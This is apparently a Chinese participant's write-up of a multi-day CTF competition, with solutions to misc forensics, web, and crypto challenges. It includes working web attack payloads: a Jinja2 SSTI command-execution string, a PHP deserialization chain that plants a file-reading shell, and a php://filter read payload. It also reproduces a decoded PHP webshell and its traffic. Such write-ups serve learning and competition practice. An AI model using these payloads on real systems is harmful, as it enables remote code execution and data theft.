解题情况
个人ID:boychai
个人排名:159
最终排名:153 还拿了一个Misc金手指,Misc排名为81
总结: 太难了,PWN有两个是有思路的,但是pwn好久没碰了就没深入解,第一天光卡在ez_forensics
题目中了,解到mobax的配置已经拿到了,一直再想办法绕过master的密码,到现在也不知道题解。
MISC
第1天 简单镜像提取
流15中发现一个压缩包
提取后拿到一个压缩包 内部有一个img文件
通过R-Studio工具打开直接有一个文件
恢复后
flag{E7A10C15E26AA5750070EF756AAA1F7C}
第1天 压力大,写个脚本吧
题目逻辑是压缩包中套压缩包,一共100个,每个都会提前给一个密码
写脚本之后可以拿到flag-hint.txt
内容如下
估计密码加起来最终是一个png,这里通过下面脚本可以直接出最终的数据
import zipfile
import os
import base64
def decrypt_zip(zip_path, output_folder, pass_path, password_log_file):
try:
# 从密码文件读取密码
password = get_password_from_txt(pass_path)
if not password:
print(f"无法获取密码:{pass_path}")
return
# 读取现有日志文件内容
if os.path.exists(password_log_file):
with open(password_log_file, "r") as log_file:
existing_content = log_file.read()
else:
existing_content = ""
# 记录密码到日志文件的开头
with open(password_log_file, "w") as log_file:
log_file.write(f"{password}\n{existing_content}")
# 解压ZIP文件
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.setpassword(password.encode()) # 设置密码
zip_ref.extractall(output_folder)
print(f"解压成功:{zip_path}")
except RuntimeError as e:
print(f"密码错误或文件损坏:{zip_path} - {e}")
except Exception as e:
print(f"解压过程中出错:{zip_path} - {e}")
def decrypt_multiple_zips(start_num, end_num, output_folder, password_log_file):
# 确保输出文件夹存在
if not os.path.exists(output_folder):
os.makedirs(output_folder)
for i in range(start_num, end_num - 1, -1):
zip_filename = f"zip_{i}.zip"
pass_filename = f"password_{i}.txt"
zip_path = os.path.join(output_folder, zip_filename)
pass_path = os.path.join(output_folder, pass_filename)
# 如果文件存在,解压
if os.path.exists(zip_path):
decrypt_zip(zip_path, output_folder, pass_path, password_log_file)
else:
print(f"文件不存在:{zip_path}")
def get_password_from_txt(file_path):
"""从密码文件读取Base64编码的密码并解码"""
try:
with open(file_path, "r") as file:
encoded_password = file.read().strip()
decoded_password = base64.b64decode(encoded_password).decode("utf-8")
return decoded_password
except Exception as e:
print(f"读取密码文件出错:{file_path} - {e}")
return None
# 示例使用
start_num = 99 # 文件名从zip_99开始
end_num = 0 # 文件名到zip_1结束
output_folder = "extracted_files" # 解压到的文件夹
password_log_file = "password_log.txt" # 保存密码的日志文件
decrypt_multiple_zips(start_num, end_num, output_folder, password_log_file)
最终去password_log.txt
中可以拿到一个全部16进制的数据,丢到010中16进制粘贴,改为png格式即可拿到二维码照片。
扫描拿到flag{_PASSWORDs_is_fl@g!_}
第1天 简单算术
密文为ys~xdg/m@]mjkz@vl@z~lf>b
脚本直接跑
s = "ys~xdg/m@]mjkz@vl@z~lf>b "
for i in range(1, 128):
result = "".join(chr(ord(c) ^ i) for c in s)
print(f"i={i}: {result}")
flag{x0r_Brute_is_easy!}
第2天 NetHttP
先导出爆破成功的流量,脚本如下,具体的判断方式是返回数据包返回rce
即成功,常规的这种爆破流量都是爆破成功后就不爆破了,这里是爆破成功了继续爆破每个字符都要从头到尾尝试一遍,通过下面脚本可以拿到所有相关的爆破成功的数据包,会导出到./output
目录中
input_pcap="NetHttP.pcapng"
output_dir="./output"
mkdir -p "$output_dir"
output_prefix="stream_"
stream_ids=$(tshark -r "$input_pcap" -Y 'http contains "rce" and ip.dst == 192.168.111.1' -T fields -e tcp.stream | sort -u)
if [ -z "$stream_ids" ]; then
echo "没有找到符合条件的流 ID。"
exit 1
fi
for stream_id in $stream_ids; do
echo "导出流 $stream_id..."
tshark -r "$input_pcap" -Y "tcp.stream eq $stream_id" -w "$output_dir/$output_prefix$stream_id.pcapng"
done
echo "所有流的导出已完成。"
再通过下面命令把数据导出
# ~/Desktop/output 导出目录
cat * |strings |grep echo |awk -F "echo%20" '{print $2}'|awk -F "%20" '{print $1}' | base64 -d | sed 's/fi/\n/g' |awk -F "==" '{print $3}' |awk -F "'" '{print $2}' |sed ':a;N;$!ba;s/\n//g'
返回内容为
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==RmFrZSBGTGFnCm5vIGhlcmUK
俩等于号之后的是从/flag
中爆破的实际解密内容是假的flag,再看上面的数据
解密数据为S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh00hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=
再继续base64会发现都不是明文数据,从流量包尝试找其他内容,http的前几个数据包发现了一个被加密的私钥,如图内容如下
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----
这是个被加密的私钥,找了好久的密钥发现了一个最像密钥的字符串gdkfksy05lx0nv8dl
尝试通过下面命令解密
echo "gdkfksy05lx0nv8dl" | openssl rsa -in key.pem -out decrypted_private_key.pem -passin stdin
拿到私钥
-----BEGIN PRIVATE KEY-----
MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGAaxYIU7D5lIndIBLu
bRRywJZiAQ90QiRjuHAIsyyka69Wl1n9K4W9/hjNDeI5BP14oADSmOqLKmj8nw2w
bk0mDZ0KbWfT3eCxttGoplMEoCqKizTMdHGe7MUaK9A2CKIHOsHQhkpAmwLcDzNr
bLg9nx0hjPUDefqwCn1q7B/IQPMCAwEAAQKBgEQaQ/ttrpwfvUhbodQvT/dY7ET+
XhJ+cAjo/y9r8bkmTmx853xZVwYVIbt1pouc46zmOQjVCOJU2GwS2aScXdkx8Fm1
YQJqzbxcZ4oEA/f66E99560um3RRsa7DWKwNdIcU4wukyfgx5fILoiuE8ThjG23V
b3oDOzaIhyCrcO65AkEApZJjxmMk0AB8ZUkhIqw+2gD4N5SPisae+aFfLgLt14H4
VwSZxl2kRs7yhZGl5spFlxdotym3YS/30aY3/+3GPQJBAKWSY8ZjJNAAfGVJISKs
PtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99GmN//t
xu8CQQCf2DInBvQ1MyLlDbLFrJCJGsKHtg7WJWa5DQe8fetsUPeV2sUycpj0Gzqb
pL8Ljl+cvGbF3apCU3LmnZgWplDpAkB+i1EYqmPTWdu5adgacP0kj4Mmr7O5xC5y
6kQdnX18rchJcam5843/1GGFdpkOuF/Rp8GP5CFU9V157Yl1YJ0fAkAvcGpACEWD
gZPSO8jGVr6XoVtA0tW2JMX/nPoxI1soLG38Kwaqc/+bepMmRQ50dlvZUA4uufmT
N3OWrL+BavU0
-----END PRIVATE KEY-----
这种密钥都是RSA的密钥,尝试去赛博厨子中解密之前拿到的数据
拿到flagflag{343907d2-35a3-4bfe-a5e1-5d6615157851}
第2天 Weevil's Whisper
做法和哥斯拉差不多,但是没加密,就一个异或函数,脚本如下,前面很多没用的数据,我是挨个解析的,然后直接把流数据全部丢进来就可以拿到数据
这个原本的脚本可以在前几个流中拿到
<?php
$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l; ) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
$data = '
POST /shell1.php HTTP/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
Content-Length: 299
Host: 192.168.234.130
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312
Connection: close
1S/#+4)~)z,\kA$u45089b3446eeSap86K9utSQlcG4AekDwIVMXH2nAbKAJHQZj7APeyeQI9ax+RrWMwxyS7ISBXyumsItkFg01j+OJ7iq21y5lz0ptqaP+jE57V450hKaS8GJEp1T8iQlB5JnHtwVWNuyzEy4GXjrmsBRYBvHPLLIJ2bmbhu63DEuitVx1lzAEkXJC9krmCFDUhRTckw7wwusTUY+c5KxMImweOfv5NatpKTMZTHvRnUVgWlMM+55bSJfINEScKUo4e0d86dbcf923^0(~}9G(y.l>nD"HTTP/1.1 200 OK
Date: Tue, 24 Dec 2024 15:58:42 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92
';
// 输入
@preg_match("/$kh(.+)$kf/", $data, $m);
echo @gzuncompress(@x(@base64_decode($m[1]), $k));
// 输出
@preg_match("/$p$kh(.+)$kf/", $data, $r);
echo gzuncompress(x((base64_decode($r[1])), $k));
输出如下
try {chdir('C:\Applications\phpStudy\phpStudy_64\phpstudy_pro\WWW');@error_reporting(0);@system('type flag.txt 2>&1');}catch(Exception $e){echo "4X6l6ZERR".$e->getTrace()[0]["function"].": ".$e->getMessage()."4X6l6ZERR";}flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
即flagflag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
第2天 find me
里面有个密码压缩包,然后目录结构是我的世界的,给他导入到我的世界中
导入之后用游戏打开会提示
搜寻之后会拿到一个附魔书里面有一个key
密码即:cwqeafvfwqead
解密后拿到密文
把flag放上头,随波逐流可以一把梭出来
flag{535e0a20-189e-4049-ab30-dec60bac91b8}
WEB
第1天 easy_flask
这是一个SSTI
,没学过这一块,后续整理,具体的构造方式为{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag').read() }}
第1天 file_copy
没接触过这种题目,后续整理,考点主要是PHP Filter链——基于oracle的文件读取攻击
可以参考下面连接
第2天 easy_ser
payload构造如下
<?php
class STU
{
public $stu;
}
class SDU
{
public $Dazhuan;
}
class CTF
{
public $hackman = "PD89YGNhdCAvZipgOw==";
public $filename = 'aaaa.php';
}
$sdu = new SDU();
$stu = new STU();
$ctf = new CTF();
$sdu->Dazhuan = $stu;
$stu->stu = $ctf;
echo serialize($sdu);
PD89YGNhdCAvZipgOw==
可以绕过过滤,实则他就是
<?=`cat /f*`;
最终会把flag导出到网站目录的aaaa.php
中直接访问可以拿到flag
即flag{f44ab7d7195a1f156aa2fbc1ceba61ec}
第3天 easy_php
打开之后可以直接下载源码,源码中的file.php中内容如下
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
#ini_set('open_basedir','/var/www/html/phar2');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
在SHOW()这个类中,内容如下
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
当设置好source
之后去_show的时候/http|https|file:|gopher|dict|\.\.|f1ag/i
只要不是这些就会直接显示,即构造payload为GET/file.php?file=/flag
即拿到flagflag{a16dcb7549915546893a27a6d7927615}
第3天 easy_code
这道题也是后续整理的,网站中有个robots.txt访问后会发现有个gogogo.php,访问之后主要是这里,并且题目也提示了需要溢出,之后通过filter去读取read.php
if ($ctfer === null) {
die("error 0!");
}
if (!is_numeric($ctfer)) {
die("error 1!");
}
if ($ctfer!= 667) {
die("error 2!");
}
//溢出
if (strpos(strval($ctfer), '7')!== false) {
die("error 3!");
}
最终构造的payload是
ctfer=6.66999999999999999999999999999999999999999e2
file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
Crypto
第1天 通往哈希的旅程
在数字城,大家都是通过是通过数字电话进行的通信,常见是以188开头的11位纯血号码组成,亚历山大抵在一个特殊的地方截获一串特殊的字符串"ca12fd8250972ec363a16593356abb1f3cf3a16d",通过查阅发现这个跟以前散落的国度有点相似,可能是去往哈希国度的。年轻程序员亚力山大抵对这个国度充满好奇,决定破译这个哈希值。在经过一段时间的摸索后,亚力山大抵凭借强大的编程实力成功破解,在输入对应字符串后瞬间被传送到一个奇幻的数据世界,同时亚力山大抵也开始了他的进修之路。(提交格式:flag{11位号码})
题目主要是想让写脚本爆破,我尝试爆破一直没出,估计是脚本写错了,就直接去cmd5这种网站直接梭了。密文是ca12fd8250972ec363a16593356abb1f3cf3a16d
取前18个去https://www.somd5.com/中解
直接出flag,拿全部的去cmd5也能解出
flag{18876011645}
第3天 funny_rsa
参考脚本
import gmpy2
from Crypto.Util.number import *
funny1 = (
-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
)
funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
n = (funny3 + 1025) // gmpy2.gcd(funny3 + 1025, funny2)
p_add_q = funny1 + n
p = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(65537, phi)
hint = pow(funny4, d, n)
flag = long_to_bytes(funny2 // hint)
print(flag)
print(
long_to_bytes(
5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
)
)
其中p 是题目中给定的一个质数,用来构造 RSA 的模数 n,而5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
开头的数字是通过私钥解密 funny4 得到的密文结果。